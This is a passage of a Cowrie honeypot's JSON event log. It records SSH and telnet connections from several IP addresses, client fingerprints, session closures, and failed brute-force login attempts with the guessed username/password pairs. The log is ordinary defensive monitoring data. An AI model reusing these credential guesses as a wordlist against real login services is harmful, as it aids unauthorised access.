ac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:45.572917Z","src_ip":"2.57.121.112","session":"8f2fe9f495a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:45.816801Z","src_ip":"45.153.34.114","session":"15a748f043b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"drexler","message":"login attempt [admin/drexler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:46.053159Z","src_ip":"2.57.121.112","session":"8f2fe9f495a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.136332035064697,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:46.961849Z","src_ip":"74.91.213.120","session":"74c26ccdecbb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"drake1","message":"login attempt [admin/drake1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:47.155983Z","src_ip":"2.57.121.112","session":"8f2fe9f495a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dragula","message":"login attempt [admin/dragula] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:48.259494Z","src_ip":"2.57.121.112","session":"8f2fe9f495a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.848859548568726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:48.358452Z","src_ip":"74.91.213.120","session":"3c9571ac10ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":36986,"dst_ip":"159.203.135.109","dst_port":22,"session":"07f9fdb72bd0","protocol":"ssh","message":"New connection: 107.0.200.227:36986 (159.203.135.109:22) [session: 07f9fdb72bd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:48.722775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:48.726755Z","src_ip":"107.0.200.227","session":"07f9fdb72bd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:48.758894Z","src_ip":"107.0.200.227","session":"07f9fdb72bd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33328,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f4a39dae412","protocol":"telnet","message":"New connection: 74.91.213.120:33328 (159.203.135.109:23) [session: 7f4a39dae412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:48.792061Z"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:48.919912Z","src_ip":"107.0.200.227","session":"07f9fdb72bd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33340,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b98ef8d4090","protocol":"telnet","message":"New connection: 74.91.213.120:33340 (159.203.135.109:23) [session: 7b98ef8d4090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:49.058403Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dragon5","message":"login attempt [admin/dragon5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:49.363398Z","src_ip":"2.57.121.112","session":"8f2fe9f495a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:49.954638Z","src_ip":"107.0.200.227","session":"07f9fdb72bd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dragon0","message":"login attempt [admin/dragon0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:50.467134Z","src_ip":"2.57.121.112","session":"8f2fe9f495a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52350,"dst_ip":"159.203.135.109","dst_port":22,"session":"59603b0772ca","protocol":"ssh","message":"New connection: 45.153.34.114:52350 (159.203.135.109:22) [session: 59603b0772ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:51.299787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:51.304232Z","src_ip":"45.153.34.114","session":"59603b0772ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:51.388754Z","src_ip":"45.153.34.114","session":"59603b0772ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:51.571925Z","src_ip":"2.57.121.112","session":"8f2fe9f495a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usuario","password":"usuario","message":"login attempt [usuario/usuario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:51.653399Z","src_ip":"45.153.34.114","session":"59603b0772ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:52.822253Z","src_ip":"45.153.34.114","session":"59603b0772ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.138604164123535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:52.979568Z","src_ip":"74.91.213.120","session":"6bd0e5669aff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.146304845809937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:55.408215Z","src_ip":"74.91.213.120","session":"a8042d778b74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":50596,"dst_ip":"159.203.135.109","dst_port":22,"session":"15bfb6e4b81e","protocol":"ssh","message":"New connection: 125.16.27.190:50596 (159.203.135.109:22) [session: 15bfb6e4b81e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:56.301533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:56.305700Z","src_ip":"125.16.27.190","session":"15bfb6e4b81e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:56.628816Z","src_ip":"125.16.27.190","session":"15bfb6e4b81e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":46388,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b4fa166be91","protocol":"telnet","message":"New connection: 74.91.213.120:46388 (159.203.135.109:23) [session: 4b4fa166be91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:57.383196Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"dir","message":"login attempt [root/dir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:57.824713Z","src_ip":"125.16.27.190","session":"15bfb6e4b81e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.479471683502197,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:58.000696Z","src_ip":"74.91.213.120","session":"d9f2c67e01b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52364,"dst_ip":"159.203.135.109","dst_port":22,"session":"7358e19216f5","protocol":"ssh","message":"New connection: 45.153.34.114:52364 (159.203.135.109:22) [session: 7358e19216f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:58.627251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:58.642493Z","src_ip":"45.153.34.114","session":"7358e19216f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:58.714975Z","src_ip":"45.153.34.114","session":"7358e19216f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":46400,"dst_ip":"159.203.135.109","dst_port":23,"session":"a31184e5fca5","protocol":"telnet","message":"New connection: 74.91.213.120:46400 (159.203.135.109:23) [session: a31184e5fca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:58.815883Z"}
{"eventid":"cowrie.login.failed","username":"nova","password":"nova","message":"login attempt [nova/nova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:59.075443Z","src_ip":"45.153.34.114","session":"7358e19216f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:59.113804Z","src_ip":"125.16.27.190","session":"15bfb6e4b81e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":46404,"dst_ip":"159.203.135.109","dst_port":23,"session":"23d050ed39b5","protocol":"telnet","message":"New connection: 74.91.213.120:46404 (159.203.135.109:23) [session: 23d050ed39b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:59.965674Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:00.160530Z","src_ip":"45.153.34.114","session":"7358e19216f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":46446,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbd3d15b17da","protocol":"ssh","message":"New connection: 92.191.96.70:46446 (10.17.0.5:22) [session: bbd3d15b17da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:01.716961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:01.722075Z","src_ip":"92.191.96.70","session":"bbd3d15b17da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:01.850327Z","src_ip":"92.191.96.70","session":"bbd3d15b17da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fai","message":"login attempt [root/fai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:02.369757Z","src_ip":"92.191.96.70","session":"bbd3d15b17da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:03.495046Z","src_ip":"92.191.96.70","session":"bbd3d15b17da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":46414,"dst_ip":"159.203.135.109","dst_port":23,"session":"90a8b46b1228","protocol":"telnet","message":"New connection: 74.91.213.120:46414 (159.203.135.109:23) [session: 90a8b46b1228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:03.953753Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.153.231.45","src_port":54930,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcdfb5460444","protocol":"ssh","message":"New connection: 185.153.231.45:54930 (159.203.135.109:22) [session: bcdfb5460444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:04.433096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:04.437443Z","src_ip":"185.153.231.45","session":"bcdfb5460444","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:04.565108Z","src_ip":"185.153.231.45","session":"bcdfb5460444","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234","message":"login attempt [test/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:05.110196Z","src_ip":"185.153.231.45","session":"bcdfb5460444","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.28032660484314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:05.528754Z","src_ip":"74.91.213.120","session":"7513354e115d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40942,"dst_ip":"159.203.135.109","dst_port":22,"session":"464d7df55c19","protocol":"ssh","message":"New connection: 45.153.34.114:40942 (159.203.135.109:22) [session: 464d7df55c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:06.018528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:06.023957Z","src_ip":"45.153.34.114","session":"464d7df55c19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"